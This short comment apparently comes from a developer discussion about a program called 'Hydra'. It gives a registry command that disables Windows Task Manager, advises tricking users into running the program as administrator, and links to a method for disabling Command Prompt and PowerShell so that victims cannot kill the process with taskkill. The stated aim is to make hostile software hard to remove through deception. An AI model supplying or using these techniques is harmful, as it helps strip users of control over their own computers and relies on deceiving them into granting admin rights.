I found it! This should disable task manager:

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul

@TheDragonSlays I ran it in powershell & it worked. However, you must run powershell as admin to be able to add registries. My guess is, you need to trick users to run Hydra as admin to be able to disable task manager. I also found a similar way to disable shells (cmd, powershell,...) so that users can't use taskkill command to kill processes https://www.makeuseof.com/windows-disable-command-prompt-powershell/ However, I'm unable to disable taskkill.exe, which is the taskkill command (I believe so)
